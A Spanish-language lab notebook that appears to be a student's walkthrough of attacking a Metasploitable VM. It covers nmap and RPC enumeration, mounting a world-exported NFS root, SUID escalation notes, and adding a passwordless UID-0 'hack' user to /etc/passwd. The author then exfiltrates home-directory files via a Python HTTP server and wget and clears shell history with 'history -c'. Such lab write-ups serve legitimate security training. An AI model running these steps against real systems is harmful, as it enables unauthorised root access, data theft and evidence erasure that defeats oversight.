

Ataque1_rpc

February 4, 2026

1 Primeros pasos

Primero escaneamos la red con nmap

```
[1]: [[(kali㉿kali)-[~/mnt/nfsroot]]$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.56.102 netmask 255.255.255.0 broadcast 192.168.56.255
          inet6 fe80::7251:48d:d0e1:2cd prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:63:b0:05 txqueuelen 1000 (Ethernet)
              RX packets 27 bytes 5226 (5.1 KiB)
              RX errors 0 dropped 0 overruns 0 frame 0
              TX packets 57 bytes 22527 (21.9 KiB)
              TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
          loop txqueuelen 1000 (Local Loopback)
            RX packets 8 bytes 480 (480.0 B)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 8 bytes 480 (480.0 B)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

[[(kali㉿kali)-[~/mnt/nfsroot]]$ sudo nmap -sn 192.168.56.0/24
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 02:18 EST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or
  ↪specify valid servers with --dns-servers: No such file or directory (2)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
  ↪ Try using --system-dns or specify valid servers with --dns-servers

Nmap scan report for 192.168.56.1
Host is up (0.00028s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)

Nmap scan report for 192.168.56.100
Host is up (0.00028s latency).
```

```
MAC Address: 08:00:27:44:20:15 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00069s latency).
MAC Address: 08:00:27:EC:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.87 seconds
```

```
(kali㉿kali)-[~/mnt/nfsroot]
$ sudo nmap -sS 192.168.56.100
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 02:19 EST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or
  ↵specify valid servers with --dns-servers: No such file or directory (2)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
  ↵ Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.100
Host is up (0.000033s latency).
All 1000 scanned ports on 192.168.56.100 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:44:20:15 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
```

```
(kali㉿kali)-[~/mnt/nfsroot]
$ sudo nmap -sS 192.168.56.101
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 02:19 EST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or
  ↵specify valid servers with --dns-servers: No such file or directory (2)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
  ↵ Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00013s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
```

```

1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 08:00:27:EC:73:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

```

Cell In[1], line 1
(kali kali)-[/mnt/nfsroot]

SyntaxError: invalid character '' (U+2500)

Aquí hemos hecho tres llamadas distintas a nmap, al principio a ifconfig para ver nuestra red.
Detección de rpc en puerto 111 y montaje local del disco de la víctima Tiramos por aquí y realizamos rpcinfo -p 192.168.56.101 ¿Qué servicios rpc y en qué puertos?

```

[ ]: ||(kali[kali])-[/mnt/nfsroot]
$ rpcinfo -p 192.168.56.101
    program vers proto port service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp    45028  status
    100024    1   tcp    34964  status
    100003    2   udp    2049  nfs
    100003    3   udp    2049  nfs
    100003    4   udp    2049  nfs
    100021    1   udp    59319  nlockmgr
    100021    3   udp    59319  nlockmgr
    100021    4   udp    59319  nlockmgr
    100003    2   tcp    2049  nfs
    100003    3   tcp    2049  nfs
    100003    4   tcp    2049  nfs
    100021    1   tcp    44031  nlockmgr
    100021    3   tcp    44031  nlockmgr
    100021    4   tcp    44031  nlockmgr
    100005    1   udp    36934  mountd
    100005    1   tcp    51078  mountd
    100005    2   udp    36934  mountd
    100005    2   tcp    51078  mountd
    100005    3   udp    36934  mountd

```

```
100005      3    tcp  51078  mountd
```

Al haber mount+nfs puede haber shares montables. **NFS** (Network File System) es un protocolo que permite compartir carpetas de un servidor para montarlas como si fueran locales. Entonces creamos la ruta /mnt/nfs donde vamos a montar el disco duro del servidor.—> Confía demasiado en el cliente. **SI SE VE RPC(111) SE MIRA NFS SIEMPRE** Entonces preguntamos a mountd, que decide qué carpetas a qué IPs y con qué permisos. **showmount -e 192.168.56.101**

```
[ ]: $ showmount -e 192.168.56.101
Export list for 192.168.56.101:
/ *
```

Esto indica que tenemos acceso a todo. Montamos entonces el sistema remoto vía NFS con **sudo mount -t nfs 192.168.56.101:/ /mnt/nfsroot** montando todo el disco duro del server en localmente. Es acceso remoto al filesystem del sever. Una vez dentro intentamos escalar a SUID para obtener acceso a root, ejecuando **find / -perm -4000 -type f 2>/dev/null** 4000 = bit SUID, -type f solo archivos normales (no dispositivos ni directorios), 2>dev/null redirige errores al vacío (permission denied, no such file....). Encontramos lo siguiente

```
[2]: [(kali㉿kali)-[~/mnt/nfsroot]
$ sudo mount -t nfs 192.168.56.101:/ /mnt/nfsroot
[sudo] password for kali:
Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' to
→ '/usr/lib/systemd/system/rpc-statd.service'.
[(kali㉿kali)-[~/mnt/nfsroot]
$ ls
bin      dev      initrd      lost+found      nohup.out      root      sys      var
boot     etc      initrd.img   media          opt          sbin      tmp      vmlinuz
cdrom   home     lib           mnt          proc         srv       usr

$ sudo find / -perm -4000 -type f 2>/dev/null
/mnt/nfsroot/bin/umount
/mnt/nfsroot/bin/fusermount
/mnt/nfsroot/bin/su
/mnt/nfsroot/bin/mount
/mnt/nfsroot/bin/ping
/mnt/nfsroot/bin/ping6
/mnt/nfsroot/sbin/mount.nfs
/mnt/nfsroot/lib/dhcp3-client/call-dhclient-script
/mnt/nfsroot/usr/bin/sudoedit
/mnt/nfsroot/usr/bin/X
/mnt/nfsroot/usr/bin/netkit-rsh
/mnt/nfsroot/usr/bin/gpasswd
/mnt/nfsroot/usr/bin/traceroute6.iputils
/mnt/nfsroot/usr/bin/sudo
/mnt/nfsroot/usr/bin/netkit-rlogin
/mnt/nfsroot/usr/bin/arping
/mnt/nfsroot/usr/bin/at
```

```
/mnt/nfsroot/usr/bin/newgrp
/mnt/nfsroot/usr/bin/chfn
/mnt/nfsroot/usr/bin/nmap
/mnt/nfsroot/usr/bin/chsh
/mnt/nfsroot/usr/bin/netkit-rcp
/mnt/nfsroot/usr/bin/passwd
/mnt/nfsroot/usr/bin/mtr
/mnt/nfsroot/usr/sbin/uuidd
/mnt/nfsroot/usr/sbin/pppd
/mnt/nfsroot/usr/lib/telnetlogin
/mnt/nfsroot/usr/lib/apache2/suexec
/mnt/nfsroot/usr/lib/eject/dmcrypt-get-device
/mnt/nfsroot/usr/lib/openssh/ssh-keysign
/mnt/nfsroot/usr/lib/pt_chown
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/chromium/chrome-sandbox
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/su
/usr/bin/chfn
/usr/bin/ntfs-3g
/usr/bin/sudo
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/gpasswd
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/kismet_cap_linux_wifi
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/pkexec
/usr/bin/kismet_cap_nrf_52840
/usr/bin/kismet_cap_nrf_51822
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/kismet_cap_hak5_wifi_coconut
/usr/bin/rsh-redone-rsh
/usr/bin/umount
/usr/bin/rsh-redone-rlogin
/usr/bin/kismet_cap_ubertoooth_one
/usr/sbin/pppd
/usr/sbin/mount.cifs
```

```
/usr/sbin/mount.nfs
```

```
Cell In[2], line 1
(kali kali)-[/mnt/nfsroot]
^
SyntaxError: invalid character '' (U+2500)
```

Si es antiguo y está nmap interactivo podemos llamar a **nmap -interactive** y dentro hacemos !sh y ya estamos en root, porque nmap tiene privilegios de root y al hacer ! estamos ejecutando shell. Ya podemos hacer lo que queramos. Pero esto es para antiguos, lo siguiente que llama la atención en orden es: | Prioridad | Binario (ruta en /mnt/nfsroot) | Riesgo | Motivo técnico | |—
——|———|———|———| | Crítica | /usr/bin/nmap | Escalada directa a root | Binario SUID con modo interactivo (--interactive) que permite ejecutar !sh como root || Crítica | /usr/bin/sudo | Root inmediato | Si existe mala configuración o NOPASSWD || Alta | /bin/su | Root por credenciales | Permite cambiar a root si se obtiene contraseña || Alta | /usr/lib/apache2/suexec | Escalada vía web | Ejecución privilegiada si Apache está activo y mal configurado || Media | /usr/bin/passwd | Persistencia | Permite cambiar contraseñas del sistema || Media | /usr/bin/newgrp | Manipulación de grupos | Puede elevar privilegios indirectamente || Media | /usr/bin/gpasswd | Control de grupos | Añadir usuario a grupos privilegiados || Baja | /bin/mount | Abuso limitado | Riesgo contextual, depende de opciones || Baja | /bin/umount | Abuso limitado | Poco impacto directo || Baja | /usr/lib/openssh/ssh-keysign | Contextual | Riesgo solo en escenarios muy concretos |

2 Escalada de privilegios vía NFS mal configurado

2.1 Opción 2 — Creación de usuario root sin contraseña

2.2 Contexto del ataque

- Sistema atacante: **Kali Linux**
- Sistema víctima: **Metasploitable**
- Vector: **NFS exportado con permisos de escritura**
- Punto de montaje en Kali: **/mnt/nfsroot**
- Nivel actual: **Acceso al sistema de archivos remoto, no ejecución remota**

Importante

Los comandos se ejecutan en **Kali**, pero los archivos modificados pertenecen al **sistema remoto**.

2.3 Objetivo

Crear un **usuario con UID 0 (root)** directamente en el sistema remoto, sin contraseña, para obtener acceso total en el próximo login.

2.4 1 Verificar acceso de escritura sobre el NFS

2.4.1 Comando

```
“`bash touch /mnt/nfsroot/tmp/prueba_nfs ls -l /mnt/nfsroot/tmp/prueba_nfs
```

[4]:  (root㉿kali)-[~/mnt/nfsroot]

```
# touch tmp/test
```

```
 (root㉿kali)-[~/mnt/nfsroot]
```

```
# ls -l tmp
```

```
total 0
```

```
-rw----- 1 statd nogroup 0 Feb 4 02:16 4552.jsvc_up
```

```
-rw-rw-r-- 1 root root 0 Feb 4 2026 test
```

Cell In[4], line 3

| Crítica | `/usr/bin/nmap` | Escalada directa a root | Binario SUID con modo interactivo (`--interactive`) que permite ejecutar `!sh` como root |

^

SyntaxError: invalid character '' (U+1F534)

2.5 2 Escalada de privilegios vía NFS (edición de /etc/passwd)

2.5.1 Objetivo

Crear un usuario con **UID 0** (equivalente a root) aprovechando: - NFS mal configurado - Escritura como root desde el cliente (Kali)

Esto nos dará **acceso root local** sin explotar binarios ni usar exploits.

2.6 2.1 Contexto técnico (muy importante)

- Estamos en **Kali**
- El sistema remoto (Metasploitable) está montado en: “`text /mnt/nfsroot`

Añado a /etc/passwd una linea de usuario root sin contraseña

Paso	Comando / Archivo	Dónde se ejecuta	Qué hace	Por qué es crítico
1	rpcinfo -p <IP>	Kali	Enumera servicios RPC	Detecta NFS (2049) y mountd
2	mount -t nfs <IP>:/mnt/nfsroot	Kali	Monta / del servidor	Acceso directo al filesystem remoto

Paso	Comando / Archivo	Dónde se ejecuta	Qué hace	Por qué es crítico
3	/mnt/nfsroot/etc/passwd	Kali (editando remoto)	Añade usuario UID=0	Crea usuario root persistente
4	/mnt/nfsroot/etc/shadow	Kali (editando remoto)	Añade entrada válida sin password	Permite login real del usuario
5	hack::0:0:hack:/root:/etc/passwd	remoto	Usuario con privilegios root	UID=0 = root total
6	hack::18522:0:99999:7/etc/shadow	remoto	Password vacío y no expira	Evita bloqueo de autenticación
7	rlogin <IP> -l hack	Kali	Login remoto como hack	Acceso root sin contraseña
8	id / whoami	Sistema objetivo	Verifica privilegios	Confirma UID=0

```
[ ]: # rlogin 192.168.56.101 -l hack
Last login: Wed Feb  4 02:16:36 EST 2026 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
root@metasploitable:~# ls
Desktop  reset_logs.sh
```

2.7 Exfiltración

Paso	Acción	Comando (ejecutado como root)	Motivo
1	Identificar carpetas	ls -la /home/msfadmin	Enumerar sin modificar
2	Ver permisos	stat <carpeta>	Confirmar acceso total
3	Copia silenciosa	cp -a <carpeta> /tmp/.cache_msf	Mantener timestamps

Paso	Acción	Comando (ejecutado como root)	Motivo
4	Preparar exfil	cd /tmp && tar -cf .msf.dat .cache_msf	Sin verbose
5	Exfiltración	Servidor HTTP local	Pull, no push
6	Limpieza	rm -rf /tmp/.cache_msf /tmp/.msf.dat	Borrar rastros

1. Montamos el servidor para descargar desde la víctima con **python -m SimpleHTTPServer 8000** en el puerto 8000.
2. En kali wget **http://192.168.56.101:8000/.msf.dat**

[]:

```
(kali㉿kali)-[~/Desktop]
$ wget http://192.168.56.101:8000/.msf.dat

--2026-02-04 03:55:36-- http://192.168.56.101:8000/.msf.dat
Connecting to 192.168.56.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 126392320 (121M) [chemical/x-mopac-input]
Saving to: '.msf.dat'

.msf.dat          100%[=====] 120.54M   101MB/s    in 1.2s

2026-02-04 03:55:37 (101 MB/s) - '.msf.dat' saved [126392320/126392320]
```

2.8 Limpieza posterior a la explotación (Post-Exploitation Cleanup)

Objetivo: reducir evidencias generadas durante la fase de acceso, enumeración y exfiltración

Contexto: entorno de laboratorio / auditoría (Metasploitable, DVWA, NFS expuesto)

2.8.1 1. Identificación de artefactos creados

Antes de borrar nada, se identifican los rastros generados por nuestra actividad:

- Archivos temporales creados manualmente (payloads, dumps, backups)
- Servidores auxiliares levantados (HTTP simple, listeners)
- Usuarios o modificaciones en ficheros del sistema
- Accesos remotos utilizados (rlogin, rsh, etc.)

Principio: no limpiar a ciegas → saber qué tocamos.

2.8.2 2. Archivos temporales

Se revisan ubicaciones típicas usadas durante la explotación:

- `/tmp`
- `/var/tmp`
- directorios NFS montados
- carpetas personales del usuario comprometido

Se eliminan únicamente: - archivos creados por el atacante - ficheros usados para exfiltración o staging

Nunca borrar archivos del sistema que no se hayan modificado.

2.8.3 3. Servicios levantados durante el ataque

Si se utilizaron servicios auxiliares:

- Servidores HTTP temporales
- Procesos lanzados para transferencia de datos

Se comprueba que: - ya no estén activos - no queden procesos huérfanos

2.8.4 4. Registros de comandos (historial)

En sistemas Linux tradicionales pueden existir:

- historial de shell del usuario comprometido
- historial de shells privilegiadas si se escaló

Se revisa si: - se generaron entradas nuevas - se dejaron comandos claramente identificables

El enfoque es **minimizar ruido**, no “borrar todo”.

2.8.5 5. Logs del sistema (alto nivel)

En auditorías se documenta la revisión de:

- logs de autenticación
- registros de servicios antiguos (rlogin / rsh)
- logs de red o demonios implicados

En entornos reales **no se recomienda** borrar logs,
solo **analizar impacto** y documentar visibilidad.

2.8.6 6. Usuarios y credenciales

Si durante la explotación se:

- crearon usuarios
- modificaron archivos de cuentas
- accedió a credenciales

Se verifica que: - no quede ningún usuario persistente - no haya cambios no documentados

2.8.7 7. Montajes y recursos remotos

Si se trabajó sobre recursos montados (ej. NFS):

- confirmar desmontaje correcto
 - verificar que no se dejaron archivos alterados
 - cerrar sesiones abiertas
-

2.8.8 8. Verificación final

Checklist de cierre:

- No quedan archivos temporales
 - No hay procesos del atacante activos
 - No hay usuarios añadidos
 - No hay servicios auxiliares corriendo
 - El sistema queda en estado funcional
-

2.8.9 9. Nota para el informe

La limpieza se realizó únicamente sobre artefactos generados durante la auditoría, sin alterar la configuración base del sistema ni eliminar evidencias estructurales.

2.9 Conclusión

La limpieza forma parte de la **disciplina profesional** en pruebas de intrusión: - reduce ruido - facilita reproducibilidad - evita dañar el entorno evaluado

No es ocultación, es **control del impacto**.

```
[ ]: root@metasploitable:/# ps aux | grep nfs
root      4352  0.0  0.0      0      0 ?        S<   02:15   0:00 [nfsd4]
root      4353  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      4354  0.0  0.0      0      0 ?        S     02:15   0:01 [nfsd]
root      4355  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      4356  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      4357  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      4358  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      4359  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      4360  0.0  0.0      0      0 ?        S     02:15   0:00 [nfsd]
root      5062  0.0  0.0  1652    368 pts/1      R+   04:06   0:00 grep nfs
root@metasploitable:/# history
1  ls
```

```
2 nano reset_logs.sh
3 cd Desktop/
4 ls
5 cd ..
6 cd ..
7 ls
8 cd home/
9 ls
10 cd service/
11 ls -r
12 ls -l *
13 ls *
14 cd ..
15 ls -l *
16 cd mfsadmin
17 cd msfadmin/
18 ls
19 cp -a vulnerable/ /tmp/.cache_msf
20 cd /tmp/
21 ls
22 ls -a
23 cd .cache_msf/
24 ls
25 cd ..
26 tar .msf.dat .cache_msf
27 tar .msf.dat .cache_msf/
28 tar -cf .msf.dat .cache_msf/
29 ls-a
30 ls -a
31 python -m SimpleHTTPServer 8000
32 python -m SimpleHTTPServer 8000
33 ls -a
34 rm -r .cache_msf/
35 rm .msf.dat
36 ls -a
37 cd ..
38 ps aux | grep nfs
39 history
root@metasploitable:/# history -c
root@metasploitable:/# exit
logout
```

[]: